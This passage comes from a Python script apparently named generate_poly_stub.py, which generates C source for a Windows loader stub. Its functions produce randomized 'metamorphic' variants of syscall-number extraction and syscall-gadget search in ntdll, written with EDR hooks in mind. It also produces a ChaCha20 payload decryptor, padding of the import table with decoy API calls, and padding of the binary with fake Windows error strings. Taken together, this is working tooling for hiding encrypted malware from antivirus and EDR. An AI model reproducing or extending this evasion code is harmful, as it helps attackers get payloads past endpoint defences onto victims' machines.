2) | ((ch >> 31) & 1);") lines.append(" return lut[idx & 7];") lines.append("}") return "\n".join(lines) else: # accumulator lines = [] lines.append("static DWORD SectionToProtection(DWORD ch) {") lines.append(" DWORD prot = 0;") lines.append(" BOOL e = (ch & IMAGE_SCN_MEM_EXECUTE) != 0;") lines.append(" BOOL r = (ch & IMAGE_SCN_MEM_READ) != 0;") lines.append(" BOOL w = (ch & IMAGE_SCN_MEM_WRITE) != 0;") lines.append(" if (!e && !r && !w) return PAGE_NOACCESS;") lines.append(" if (e) {") lines.append(" prot = PAGE_EXECUTE;") lines.append(" if (r && w) return PAGE_EXECUTE_READWRITE;") lines.append(" if (r) return PAGE_EXECUTE_READ;") lines.append(" if (w) return PAGE_EXECUTE_WRITECOPY;") lines.append(" return prot;") lines.append(" }") lines.append(" if (r && w) return PAGE_READWRITE;") lines.append(" if (r) return PAGE_READONLY;") lines.append(" return PAGE_WRITECOPY;") lines.append("}") return "\n".join(lines) def gen_meta_extract_ssn(): """Generate metamorphic ExtractSSN with randomized variants.""" # Random choices check_order = random.choice(["standard_first", "hooked_first"]) scan_limit = random.choice([24, 32, 48]) sentinel = random.choice(["(DWORD)-1", "0xFFFFFFFF", "~0u"]) add_decoy = random.choice([True, False]) lines = [] lines.append("static DWORD ExtractSSN(LPBYTE funcAddr) {") if check_order == "standard_first": # Standard prologue check first lines.append(" /* Standard ntdll syscall stub prologue */") lines.append(" if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1 &&") lines.append(" funcAddr[3] == 0xB8) {") lines.append(" return *(DWORD *)(funcAddr + 4);") lines.append(" }") lines.append(" /* Hooked? Scan forward for mov eax pattern */") lines.append(f" for (int i = 0; i < {scan_limit}; i++) {{") if add_decoy: lines.append(" if (funcAddr[i] == 0x90) continue; /* skip NOP */") lines.append(" if (funcAddr[i] == 0xB8 &&") lines.append(" funcAddr[i + 5] == 0x0F && funcAddr[i + 6] == 0x05) {") lines.append(" return *(DWORD *)(funcAddr + i + 1);") lines.append(" }") lines.append(" }") else: # Hooked scan first (reversed order) lines.append(" /* Scan for hooked pattern first (EDR inline hook detection) */") lines.append(f" for (int i = 0; i < {scan_limit}; i++) {{") if add_decoy: lines.append(" if (funcAddr[i] == 0xCC) continue; /* skip INT3 */") lines.append(" if (funcAddr[i] == 0xB8 &&") lines.append(" funcAddr[i + 5] == 0x0F && funcAddr[i + 6] == 0x05) {") lines.append(" return *(DWORD *)(funcAddr + i + 1);") lines.append(" }") lines.append(" }") lines.append(" /* Standard ntdll syscall stub prologue */") lines.append(" if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1 &&") lines.append(" funcAddr[3] == 0xB8) {") lines.append(" return *(DWORD *)(funcAddr + 4);") lines.append(" }") lines.append(f" return {sentinel};") lines.append("}") return "\n".join(lines) def gen_meta_find_syscall_gadget(): """Generate metamorphic FindSyscallGadget with randomized variants.""" scan_dir = random.choice(["forward", "backward", "random_offset"]) name_check = random.choice(["bytewise", "uint32"]) gadget_pattern = random.choice(["primary", "fallback_first"]) lines = [] lines.append("static PVOID FindSyscallGadget(LPBYTE ntdllBase) {") lines.append(" PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ntdllBase;") lines.append(" PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(ntdllBase + dos->e_lfanew);") lines.append(" PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);") lines.append("") lines.append(" for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {") # Section name check if name_check == "bytewise": lines.append(" if (sec[i].Name[0] == '.' && sec[i].Name[1] == 't' &&") lines.append(" sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' &&") lines.append(" sec[i].Name[4] == 't') {") else: lines.append(" if (*(uint32_t *)&sec[i].Name[0] == 0x7865742E && sec[i].Name[4] == 't') {") lines.append(" LPBYTE start = ntdllBase + sec[i].VirtualAddress;") lines.append(" DWORD size = sec[i].Misc.VirtualSize;") lines.append(" if (size < 4) continue;") if scan_dir == "forward": lines.append(" for (DWORD j = 0; j < size - 3; j++) {") if gadget_pattern == "primary": lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05 && start[j + 2] == 0xC3) {") lines.append(" return &start[j];") lines.append(" }") else: # Try extended pattern first, fall back to primary lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05) {") lines.append(" if (start[j + 2] == 0xC3) return &start[j];") lines.append(" if (j + 3 < size && start[j + 2] == 0x90 && start[j + 3] == 0xC3)") lines.append(" return &start[j];") lines.append(" }") lines.append(" }") elif scan_dir == "backward": lines.append(" DWORD j = size - 3;") lines.append(" while (j > 0) {") if gadget_pattern == "primary": lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05 && start[j + 2] == 0xC3) {") lines.append(" return &start[j];") lines.append(" }") else: lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05) {") lines.append(" if (start[j + 2] == 0xC3) return &start[j];") lines.append(" if (j + 3 < size && start[j + 2] == 0x90 && start[j + 3] == 0xC3)") lines.append(" return &start[j];") lines.append(" }") lines.append(" j--;") lines.append(" }") else: # random_offset offset_pct = random.randint(5, 25) lines.append(f" DWORD off = size / {100 // offset_pct};") lines.append(" /* Scan from offset, then wrap around */") lines.append(" for (DWORD k = 0; k < size - 3; k++) {") lines.append(" DWORD j = (k + off) % (size - 3);") if gadget_pattern == "primary": lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05 && start[j + 2] == 0xC3) {") lines.append(" return &start[j];") lines.append(" }") else: lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05) {") lines.append(" if (start[j + 2] == 0xC3) return &start[j];") lines.append(" if (j + 3 < size && start[j + 2] == 0x90 && start[j + 3] == 0xC3)") lines.append(" return &start[j];") lines.append(" }") lines.append(" }") lines.append(" }") lines.append(" }") lines.append(" return NULL;") lines.append("}") return "\n".join(lines) def gen_meta_load_le32(): """Generate metamorphic load_le32 with randomized implementation.""" variant = random.choice(["shift", "union", "memcpy_style"]) lines = [] if variant == "shift": lines.append("static inline __attribute__((always_inline)) uint32_t load_le32(const uint8_t *p) {") lines.append(" return ((uint32_t)p[0]) | ((uint32_t)p[1] << 8) |") lines.append(" ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24);") lines.append("}") elif variant == "union": lines.append("static inline __attribute__((always_inline)) uint32_t load_le32(const uint8_t *p) {") lines.append(" union { uint8_t b[4]; uint32_t v; } u;") lines.append(" u.b[0] = p[0]; u.b[1] = p[1]; u.b[2] = p[2]; u.b[3] = p[3];") lines.append(" return u.v;") lines.append("}") else: # memcpy_style (byte-by-byte into local) lines.append("static inline __attribute__((always_inline)) uint32_t load_le32(const uint8_t *p) {") lines.append(" uint32_t r = 0;") lines.append(" uint8_t *dst = (uint8_t *)&r;") lines.append(" dst[0] = p[0]; dst[1] = p[1]; dst[2] = p[2]; dst[3] = p[3];") lines.append(" return r;") lines.append("}") return "\n".join(lines) def _py_chacha20_block(state): """Pure Python ChaCha20 block function for test vector validation.""" def rotl32(v, n): return ((v << n) | (v >> (32 - n))) & 0xFFFFFFFF def qr(x, a, b, c, d): x[a] = (x[a] + x[b]) & 0xFFFFFFFF; x[d] ^= x[a]; x[d] = rotl32(x[d], 16) x[c] = (x[c] + x[d]) & 0xFFFFFFFF; x[b] ^= x[c]; x[b] = rotl32(x[b], 12) x[a] = (x[a] + x[b]) & 0xFFFFFFFF; x[d] ^= x[a]; x[d] = rotl32(x[d], 8) x[c] = (x[c] + x[d]) & 0xFFFFFFFF; x[b] ^= x[c]; x[b] = rotl32(x[b], 7) x = list(state) for _ in range(10): qr(x, 0, 4, 8, 12); qr(x, 1, 5, 9, 13) qr(x, 2, 6, 10, 14); qr(x, 3, 7, 11, 15) qr(x, 0, 5, 10, 15); qr(x, 1, 6, 11, 12) qr(x, 2, 7, 8, 13); qr(x, 3, 4, 9, 14) out = [] for i in range(16): val = (x[i] + state[i]) & 0xFFFFFFFF out.extend(struct.pack('> (32 - (n))))") elif rotl_style == "builtin": lines.append("#undef ROTL32") lines.append("static inline __attribute__((always_inline)) uint32_t _meta_rotl32(uint32_t v, int n) {") lines.append(" return (v << n) | (v >> (32 - n));") lines.append("}") lines.append("#define ROTL32(v, n) _meta_rotl32((v), (n))") else: # tempvar lines.append("#undef ROTL32") lines.append("#define ROTL32(v, n) ({ uint32_t _rv = (v); (_rv << (n)) | (_rv >> (32 - (n))); })") lines.append("") lines.append("#undef QR") lines.append("#define QR(a, b, c, d) do { \\") lines.append(" a += b; d ^= a; d = ROTL32(d, 16); \\") lines.append(" c += d; b ^= c; b = ROTL32(b, 12); \\") lines.append(" a += b; d ^= a; d = ROTL32(d, 8); \\") lines.append(" c += d; b ^= c; b = ROTL32(b, 7); \\") lines.append("} while(0)") lines.append("") lines.append("static void chacha20_decrypt(const uint8_t key[32], const uint8_t nonce[12],") lines.append(" const uint8_t *in, uint8_t *out, size_t len) {") lines.append(" uint32_t state[16];") lines.append(" CHACHA_INIT_STATE(state);") lines.append(" for (int i = 0; i < 8; i++)") lines.append(" state[4 + i] = load_le32(key + i * 4);") lines.append(" state[12] = 0;") lines.append(" state[13] = load_le32(nonce);") lines.append(" state[14] = load_le32(nonce + 4);") lines.append(" state[15] = load_le32(nonce + 8);") lines.append("") lines.append(" size_t offset = 0;") lines.append(" while (offset < len) {") lines.append(" uint32_t x[16];") lines.append(" for (int i = 0; i < 16; i++) x[i] = state[i];") lines.append("") # Column round QR calls col_round = [ "QR(x[0], x[4], x[ 8], x[12]);", "QR(x[1], x[5], x[ 9], x[13]);", "QR(x[2], x[6], x[10], x[14]);", "QR(x[3], x[7], x[11], x[15]);", ] # Diagonal round QR calls diag_round = [ "QR(x[0], x[5], x[10], x[15]);", "QR(x[1], x[6], x[11], x[12]);", "QR(x[2], x[7], x[ 8], x[13]);", "QR(x[3], x[4], x[ 9], x[14]);", ] if unroll_depth == 1: lines.append(" for (int i = 0; i < 10; i++) {") for qr in col_round: lines.append(f" {qr}") for qr in diag_round: lines.append(f" {qr}") lines.append(" }") elif unroll_depth == 2: lines.append(" for (int i = 0; i < 5; i++) {") for _ in range(2): for qr in col_round: lines.append(f" {qr}") for qr in diag_round: lines.append(f" {qr}") lines.append(" }") elif unroll_depth == 5: lines.append(" for (int i = 0; i < 2; i++) {") for _ in range(5): for qr in col_round: lines.append(f" {qr}") for qr in diag_round: lines.append(f" {qr}") lines.append(" }") else: # 10 — fully unrolled for _ in range(10): for qr in col_round: lines.append(f" {qr}") for qr in diag_round: lines.append(f" {qr}") lines.append("") lines.append(" uint8_t block[64];") lines.append(" for (int i = 0; i < 16; i++) {") lines.append(" uint32_t val = x[i] + state[i];") lines.append(" block[i*4+0] = (uint8_t)(val);") lines.append(" block[i*4+1] = (uint8_t)(val >> 8);") lines.append(" block[i*4+2] = (uint8_t)(val >> 16);") lines.append(" block[i*4+3] = (uint8_t)(val >> 24);") lines.append(" }") lines.append(" state[12]++;") lines.append("") lines.append(" size_t chunk = len - offset;") lines.append(" if (chunk > 64) chunk = 64;") lines.append(" for (size_t i = 0; i < chunk; i++)") lines.append(" out[offset + i] = in[offset + i] ^ block[i];") lines.append(" offset += chunk;") lines.append(" }") lines.append("") lines.append(" SecureZeroMemory(state, sizeof(state));") lines.append("}") return "\n".join(lines), unroll_depth, rotl_style def generate_metamorphic_header(lcg_mult, lcg_inc, lcg_shift): """Generate stub_poly_metamorphic.h with all 5 metamorphic function bodies.""" lines = [] lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */") lines.append("/* Metamorphic function bodies — different machine code per build */") lines.append("#ifndef STUB_POLY_METAMORPHIC_H") lines.append("#define STUB_POLY_METAMORPHIC_H") lines.append("") lines.append('#include ') lines.append('#include ') lines.append("") # 1. load_le32 lines.append("/* --- load_le32 (metamorphic) --- */") lines.append(gen_meta_load_le32()) lines.append("") # 2. generate_entropy_pad lines.append("/* --- generate_entropy_pad (metamorphic LCG) --- */") lines.append(gen_meta_entropy_pad(lcg_mult, lcg_inc, lcg_shift)) lines.append("") # 3. SectionToProtection lines.append("/* --- SectionToProtection (metamorphic) --- */") lines.append(gen_meta_section_to_protection()) lines.append("") # 4. ExtractSSN lines.append("/* --- ExtractSSN (metamorphic) --- */") lines.append(gen_meta_extract_ssn()) lines.append("") # 5. FindSyscallGadget lines.append("/* --- FindSyscallGadget (metamorphic) --- */") lines.append(gen_meta_find_syscall_gadget()) lines.append("") # 6. chacha20_decrypt (includes ROTL32/QR redefinitions) lines.append("/* --- chacha20_decrypt (metamorphic) --- */") chacha_code, unroll_depth, rotl_style = gen_meta_chacha20_decrypt() lines.append(chacha_code) lines.append("") lines.append("#endif /* STUB_POLY_METAMORPHIC_H */") lines.append("") return "\n".join(lines), unroll_depth, rotl_style # --------------------------------------------------------------------------- # IAT padding generation (Fix 1: import table padding) # --------------------------------------------------------------------------- # Pool of benign Windows APIs across multiple DLLs IAT_API_POOL = { "kernel32": [ ("GetSystemTime", "VOID", "LPSYSTEMTIME lpSysTime", "SYSTEMTIME st; GetSystemTime(&st); volatile DWORD _r = st.wYear; (void)_r;"), ("GetLocalTime", "VOID", "LPSYSTEMTIME lpSysTime", "SYSTEMTIME lt; GetLocalTime(<); volatile DWORD _r = lt.wMonth; (void)_r;"), ("GetVersionExW", "BOOL", "LPOSVERSIONINFOW lpVerInfo", "OSVERSIONINFOW ovi; ovi.dwOSVersionInfoSize = sizeof(ovi); volatile BOOL _r = GetVersionExW(&ovi); (void)_r;"), ("GetComputerNameA", "BOOL", "LPSTR,LPDWORD", "char _cn[MAX_COMPUTERNAME_LENGTH+1]; DWORD _cl = sizeof(_cn); volatile BOOL _r = GetComputerNameA(_cn, &_cl); SecureZeroMemory(_cn, sizeof(_cn)); (void)_r;"), ("GetCurrentProcessId", "DWORD", "", "volatile DWORD _r = GetCurrentProcessId(); (void)_r;"), ("GetCurrentThreadId", "DWORD", "", "volatile DWORD _r = GetCurrentThreadId(); (void)_r;"), ("GetSystemDirectoryA", "UINT", "LPSTR,UINT", "char _sd[MAX_PATH]; volatile UINT _r = GetSystemDirectoryA(_sd, MAX_PATH); SecureZeroMemory(_sd, sizeof(_sd)); (void)_r;"), ("GetWindowsDirectoryA", "UINT", "LPSTR,UINT", "char _wd[MAX_PATH]; volatile UINT _r = GetWindowsDirectoryA(_wd, MAX_PATH); SecureZeroMemory(_wd, sizeof(_wd)); (void)_r;"), ("GetTempPathA", "DWORD", "DWORD,LPSTR", "char _tp[MAX_PATH]; volatile DWORD _r = GetTempPathA(MAX_PATH, _tp); SecureZeroMemory(_tp, sizeof(_tp)); (void)_r;"), ("SetLastError", "VOID", "DWORD", "SetLastError(0);"), ("GetLastError", "DWORD", "", "volatile DWORD _r = GetLastError(); (void)_r;"), ("GetTickCount", "DWORD", "", "volatile DWORD _r = GetTickCount(); (void)_r;"), ("QueryPerformanceCounter", "BOOL", "LARGE_INTEGER*", "LARGE_INTEGER _li; volatile BOOL _r = QueryPerformanceCounter(&_li); (void)_r;"), ("GetStartupInfoA", "VOID", "LPSTARTUPINFOA", "STARTUPINFOA _si; _si.cb = sizeof(_si); GetStartupInfoA(&_si); volatile DWORD _r = _si.dwFlags; (void)_r;"), ("GetCommandLineA", "LPSTR", "", "volatile LPSTR _r = GetCommandLineA(); (void)_r;"), ("GetModuleFileNameA", "DWORD", "HMODULE,LPSTR,DWORD", "char _mf[MAX_PATH]; volatile DWORD _r = GetModuleFileNameA(NULL, _mf, MAX_PATH); SecureZeroMemory(_mf, sizeof(_mf)); (void)_r;"), ], "user32": [ ("GetDesktopWindow", "HWND", "", "volatile HWND _r = GetDesktopWindow(); (void)_r;"), ("GetSystemMetrics", "int", "int", "volatile int _r = GetSystemMetrics(SM_CXSCREEN); (void)_r;"), ("GetKeyboardLayout", "HKL", "DWORD", "volatile HKL _r = GetKeyboardLayout(0); (void)_r;"), ], "advapi32": [ ("GetUserNameA", "BOOL", "LPSTR,LPDWORD", "char _un[256]; DWORD _ul = sizeof(_un); volatile BOOL _r = GetUserNameA(_un, &_ul); SecureZeroMemory(_un, sizeof(_un)); (void)_r;"), ("RegOpenKeyExA", "LONG", "HKEY,LPCSTR,DWORD,REGSAM,PHKEY", "HKEY _hk = NULL; volatile LONG _r = RegOpenKeyExA(HKEY_LOCAL_MACHINE, \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\", 0, KEY_READ, &_hk); if (_hk) RegCloseKey(_hk); (void)_r;"), ], "shell32": [ ("SHGetFolderPathA", "HRESULT", "HWND,int,HANDLE,DWORD,LPSTR", "char _fp[MAX_PATH]; volatile HRESULT _r = SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, _fp); SecureZeroMemory(_fp, sizeof(_fp)); (void)_r;"), ("CommandLineToArgvW", "LPWSTR*", "LPCWSTR,int*", "int _ac = 0; LPWSTR *_av = CommandLineToArgvW(GetCommandLineW(), &_ac); if (_av) LocalFree(_av); volatile int _r = _ac; (void)_r;"), ], "ole32": [ ("CoInitializeEx", "HRESULT", "LPVOID,DWORD", "volatile HRESULT _r = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (SUCCEEDED(_r)) CoUninitialize(); (void)_r;"), ("CoCreateGuid", "HRESULT", "GUID*", "GUID _g; volatile HRESULT _r = CoCreateGuid(&_g); SecureZeroMemory(&_g, sizeof(_g)); (void)_r;"), ], } # Required includes per DLL IAT_DLL_INCLUDES = { "kernel32": [], "user32": [], "advapi32": [], "shell32": [""], "ole32": [""], } def generate_iat_padding(outdir): """Generate stub_poly_iat.h with randomized IAT padding calls.""" # Select 12-20 APIs, ensuring at least 1 from each DLL num_apis = random.randint(12, 20) selected = [] # Guarantee at least 1 per DLL for dll, apis in IAT_API_POOL.items(): selected.append((dll, random.choice(apis))) # Fill remainder from full pool all_apis = [] for dll, apis in IAT_API_POOL.items(): for api in apis: entry = (dll, api) if entry not in selected: all_apis.append(entry) random.shuffle(all_apis) remaining = num_apis - len(selected) if remaining > 0: selected.extend(all_apis[:remaining]) random.shuffle(selected) # Collect needed includes needed_includes = set() for dll, _ in selected: for inc in IAT_DLL_INCLUDES.get(dll, []): needed_includes.add(inc) lines = [] lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */") lines.append("/* IAT padding: %d benign API calls to normalize import table */" % len(selected)) lines.append("#ifndef STUB_POLY_IAT_H") lines.append("#define STUB_POLY_IAT_H") lines.append("") lines.append("#include ") for inc in sorted(needed_includes): lines.append(f"#include {inc}") lines.append("") lines.append("#pragma comment(lib, \"kernel32.lib\")") lines.append("#pragma comment(lib, \"user32.lib\")") lines.append("#pragma comment(lib, \"advapi32.lib\")") lines.append("#pragma comment(lib, \"shell32.lib\")") lines.append("#pragma comment(lib, \"ole32.lib\")") lines.append("") lines.append("static void iat_padding_init(void) {") for _dll, (api_name, _ret, _params, call_code) in selected: lines.append(f" /* {api_name} */") lines.append(f" {{ {call_code} }}") lines.append("") lines.append("}") lines.append("") lines.append("#endif /* STUB_POLY_IAT_H */") lines.append("") path = os.path.join(outdir, "stub_poly_iat.h") with open(path, "w", newline="\n") as f: f.write("\n".join(lines)) return len(selected), path # --------------------------------------------------------------------------- # Binary size padding generation (Fix 3: realistic .rdata content) # --------------------------------------------------------------------------- # Pool of realistic Windows error/diagnostic messages PADDING_STRINGS_POOL = [ "The operation completed successfully.", "Incorrect function.", "The system cannot find the file specified.", "The system cannot find the path specified.", "The system cannot open the file.", "Access is denied.", "The handle is invalid.", "The storage control blocks were destroyed.", "Not enough storage is available to process this command.", "The environment is incorrect.", "An attempt was made to load a program with an incorrect format.", "The data is invalid.", "Not enough storage is available to complete this operation.", "The system cannot find the drive specified.", "The directory cannot be removed.", "The system cannot move the file to a different disk drive.", "There are no more files.", "The media is write protected.", "The system cannot find the device specified.", "The device is not ready.", "The device does not recognize the command.", "Data error (cyclic redundancy check).", "The program issued a command but the command length is incorrect.", "The system cannot find the sector specified.", "The printer is out of paper.", "The system cannot write to the specified device.", "The system cannot read from the specified device.", "A device attached to the system is not functioning.", "The process cannot access the file because it is being used by another process.", "The process cannot access the file because another process has locked a portion of the file.", "The wrong diskette is in the drive.", "The network resource type is not correct.", "The network name cannot be found.", "The specified network password is not correct.", "The network path was not found.", "Not enough server storage is available to process this command.", "The specified server cannot perform the requested operation.", "An unexpected network error occurred.", "The remote computer is not available.", "A duplicate name exists on the network.", "The network BIOS session limit was exceeded.", "The remote server has been paused or is in the process of being started.", "No more connections can be made to this remote computer.", "The specified print monitor is unknown.", "The specified printer driver is currently in use.", "The specified network name is no longer available.", "The service database is locked.", "The service has returned a service-specific error code.", "The process terminated unexpectedly.", "The dependency service or group failed to start.", "The service did not start due to a logon failure.", "The service has been marked for deletion.", "The specified service already exists.", "An exception occurred in the service when handling the control request.", "The system is shutting down.", "Unable to abort the system shutdown because no shutdown was in progress.", "The requested operation cannot be performed in full-screen mode.", "An attempt was made to reference a token that does not exist.", "The configuration registry database is corrupt.", "The configuration registry key is invalid.", "The configuration registry key could not be opened.", "The configuration registry key could not be read.", "The configuration registry key could not be written.", "One of the files in the registry database had to be recovered.", "The registry is corrupted. The structure of one of the files containing registry data is corrupted.", "An I/O operation initiated by the registry failed unrecoverably.", "The system has attempted to load or restore a file into the registry.", "An illegal character was encountered.", "The file cannot be opened because it is being deleted.", "Too many posts were made to a semaphore.", "Only part of a ReadProcessMemory or WriteProcessMemory request was completed.", "The oplock request is denied.", "An invalid oplock acknowledgment was received by the system.", "Windows cannot find the network path.", "Your organization used Device Guard to block this app.", "The system detected an overrun of a stack-based buffer in this application.", "Initialization of the dynamic link library failed. The process is terminating abnormally.", "A DLL initialization routine failed.", "The RPC protocol sequence is not supported.", "The RPC server is unavailable.", "The object UUID has already been registered.", "A security package specific error occurred.", "The transport connection is now disconnected.", "The buffer is too small.", "The format of the specified computer name is invalid.", "The format of the specified domain name is invalid.", "A certificate chain could not be built to a trusted root authority.", "The revocation function was unable to check revocation for the certificate.", "The function requested is not supported.", "Loading the device driver failed.", "The transport has already been registered.", "The service being accessed is licensed for a particular number of connections.", "The redirector is in use and cannot be unloaded.", "The specified printer driver was not found on the system.", "An unknown printer driver was requested.", "The print processor is unknown.", "The specified separator file is invalid.", "The specified priority is invalid.", "No default message is available for Windows Error 0x%1.", "Logon failure: unknown user name or bad password.", "Logon failure: user account restriction.", "Logon failure: account logon time restriction violation.", "Logon failure: the user has not been granted the requested logon type at this computer.", "A specified logon session does not exist. It may already have been terminated.", "A required privilege is not held by the client.", "Insufficient system resources exist to complete the requested service.", "An invalid parameter was passed to a service or function.", "The system call level is not correct.", "The filename or extension is too long.", "Cannot create a file when that file already exists.", "The directory is not empty.", "An internal error occurred.", "The device does not exist.", "Not all privileges or groups referenced are assigned to the caller.", "Partial copy of ReadProcessMemory or WriteProcessMemory was completed.", "Cannot nest calls to LoadModule.", "The image file is valid, but is for a machine type other than the current machine.", "The pipe state is invalid.", "All pipe instances are busy.", "The pipe is being closed.", "No process is on the other end of the pipe.", "More data is available.", "The session was canceled.", "The specified extended attribute name was invalid.", "The extended attributes are inconsistent.", "No more data is available.", "The copy functions cannot be used.", "The directory name is invalid.", "The extended attributes did not fit in the buffer.", "The mounted file system does not support extended attributes.", "An attempt has been made to operate on an extended attribute marker.", "This debug event is a fatal error.", "This debug event is a warning.", "A real-mode application issued a floating-point instruction.", "An error occurred applying the security descriptor.", "There are no more threads to resume.", "A process assertion has been hit.", "The specified resource manager made no changes or updates to the resource.", "There is nothing to publish.", "The callback function must be invoked inline.", "The token is already in use as a primary token.", "An attempt was made to connect to a named pipe that is already connected.", "Element not found.", "There was no match for the specified key in the index.", "The property set specified does not exist on the object.", "The point passed to GetMouseMovePoints is not in the buffer.", "The tracking (workstation) service is not running.", "The volume ID could not be found.", "Unable to remove the file to be replaced.", "Unable to move the replacement file to the file to be replaced.", "Unable to move the replacement file to the file to be replaced. The name of the replacement file is valid.", "The process is terminated.", "Application verifier has found an error in the current process.", "The calling thread is already in a callback.", "A certificate was explicitly revoked by its issuer.", "The process is using a SID that is too long for the operation.", "The process default activation context and the one referred by the manifest are different.", "The encoding requested is not recognized.", "The object has changed since it was last read.", "The object must be read again.", "The requested action was aborted.", "An error occurred during validation.", "The operation was blocked because a dependent transaction exists.", "The format of the file is not recognized.", "The path does not exist.", "Windows Sockets initialization error.", "A blocking Windows Sockets operation was interrupted.", "An established connection was aborted by the software in your host machine.", "An existing connection was forcibly closed by the remote host.", "A connection attempt failed because the connected party did not properly respond after a period of time.", "Windows could not search for new updates.", "Windows Update encountered an unknown error.", "The component store has been corrupted.", "The manifest is damaged.", "The component store metadata file is corrupted.", "The assembly is not recognized.", "The feature is not present.", "The assembly reference is not matched.", "The hardware has reported an uncorrectable memory error.", "Windows has finished checking your disk.", "The Plug and Play Service terminated the program.", "The program does not have a valid certificate.", "The system is in the process of shutting down.", "Task Manager has been disabled by your administrator.", "The caller has specified that the service will not be stopped.", "Debugger terminated the thread.", "Debugger terminated the process.", "Debug control C was sent to the process.", "Debug control break was sent to the process.", "Debug: Process was killed when a deadline was reached.", "Windows Firewall is turned off.", "Automatic Updates is turned off.", "Windows Defender is turned off.", "No antivirus software was detected.", "Windows Security Center cannot perform an action.", "Your computer is at risk. Windows Firewall is turned off.", "WARNING: Internet communication is limited.", "Please check your network settings.", "Connecting to the service...", "Verifying account information...", "Looking for available updates...", "Downloading updates...", "Installing updates...", "Checking for solutions to problems...", "Preparing to configure Windows. Do not turn off your computer.", "Please wait while Windows configures updates.", "Success.", "The message resource is present but the message is not found.", "The message resource is present but the message was not formatted.", "Manifest parsing error: The manifest file is missing.", ] PADDING_XML_FRAGMENTS = [ '\n\n \n \n \n \n \n \n \n \n', '\n\n \n \n \n \n \n \n \n', '\n \n \n \n \n \n \n', '\n pdbonly\n true\n bin\\Release\\\n TRACE;NDEBUG\n prompt\n 4\n false\n', '\n \n \n \n', '\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n', ] def generate_padding_data(outdir, target_size_kb=None): """Generate stub_poly_padding.c + stub_poly_padding.h with realistic .rdata content.""" if target_size_kb is None: target_size_kb = random.randint(150, 400) target_bytes = target_size_kb * 1024 # Allocate budget: ~60% strings, ~20% integers, ~10% XML, ~10% misc string_budget = int(target_bytes * 0.60) int_budget = int(target_bytes * 0.20) xml_budget = int(target_bytes * 0.10) c_lines = [] c_lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */") c_lines.append("/* Realistic .rdata padding to normalize binary size */") c_lines.append("#include ") c_lines.append("#include ") c_lines.append("") c_lines.append("volatile uint32_t g_padding_state = 0;") c_lines.append("") total_generated = 0 # --- String tables --- c_lines.append("/* Windows error messages and diagnostic strings */") str_array_count = 0 current_batch = [] current_batch_size = 0 # Shuffle and repeat pool to fill budget pool = list(PADDING_STRINGS_POOL) random.shuffle(pool) pool_idx = 0 while total_generated < string_budget: s = pool[pool_idx % len(pool)] pool_idx += 1 # Add minor variation to prevent exact dedup if pool_idx > len(pool): s = s.rstrip('.') + random.choice(['.', '!', '...', ' ']) escaped = s.replace('\\', '\\\\').replace('"', '\\"').replace('\n', '\\n') entry_size = len(s) + 1 # +1 for null terminator current_batch.append(f' "{escaped}"') current_batch_size += entry_size if current_batch_size >= 4096 or total_generated + current_batch_size >= string_budget: c_lines.append(f"__attribute__((used)) const char * const g_pad_strtbl_{str_array_count}[] = {{") c_lines.append(",\n".join(current_batch)) c_lines.append("};") c_lines.append(f"#define G_PAD_STRTBL_{str_array_count}_COUNT {len(current_batch)}") c_lines.append("") total_generated += current_batch_size str_array_count += 1 current_batch = [] current_batch_size = 0 if current_batch: c_lines.append(f"__attribute__((used)) const char * const g_pad_strtbl_{str_array_count}[] = {{") c_lines.append(",\n".join(current_batch)) c_lines.append("};") c_lines.append(f"#define G_PAD_STRTBL_{str_array_count}_COUNT {len(current_batch)}") c_lines.append("") total_generated += current_batch_size str_array_count += 1 # --- Integer tables (locale IDs, error codes, version constants) --- c_lines.append("/* Locale IDs, error codes, and version constants */") int_array_count = 0 while total_generated < string_budget + int_budget: batch_size = random.randint(64, 256) values = [] table_type = random.choice(["locale", "error", "version"]) for _ in range(batch_size): if table_type == "locale": values.append(f"0x{random.choice([0x0409, 0x0809, 0x0407, 0x040C, 0x0411, 0x0419, 0x0404, 0x0804, 0x0C09, 0x1009, 0x0416, 0x0816, 0x040A, 0x080A, 0x0410, 0x0413]):04X}u") elif table_type == "error": values.append(f"0x{random.randint(0, 0x3FFF):08X}u") else: major = random.choice([6, 10]) minor = random.randint(0, 3) build = random.randint(7600, 26100) values.append(f"0x{(major << 24 | minor << 16 | build):08X}u") c_lines.append(f"__attribute__((used)) const uint32_t g_pad_inttbl_{int_array_count}[] = {{") # Format 8 per line for i in range(0, len(values), 8): chunk = values[i:i+8] c_lines.append(" " + ", ".join(chunk) + ",") c_lines.append("};") c_lines.append(f"#define G_PAD_INTTBL_{int_array_count}_COUNT {len(values)}") c_lines.append("") total_generated += batch_size * 4 int_array_count += 1 # --- XML fragments --- c_lines.append("/* Configuration and manifest XML fragments */") xml_selected = random.sample(PADDING_XML_FRAGMENTS, min(len(PADDING_XML_FRAGMENTS), 4)) for xi, xml in enumerate(xml_selected): escaped = xml.replace('\\', '\\\\').replace('"', '\\"').replace('\n', '\\n') c_lines.append(f'__attribute__((used)) const char g_pad_xml_{xi}[] = "{escaped}";') total_generated += len(xml) c_lines.append("") # --- Reference function to prevent linker stripping --- c_lines.append("/* Touch function — prevents linker from stripping .rdata */") c_lines.append("void padding_touch(void) {") c_lines.append(" volatile uint32_t acc = 0;") # Touch string tables for i in range(str_array_count): c_lines.append(f" for (int i = 0; i 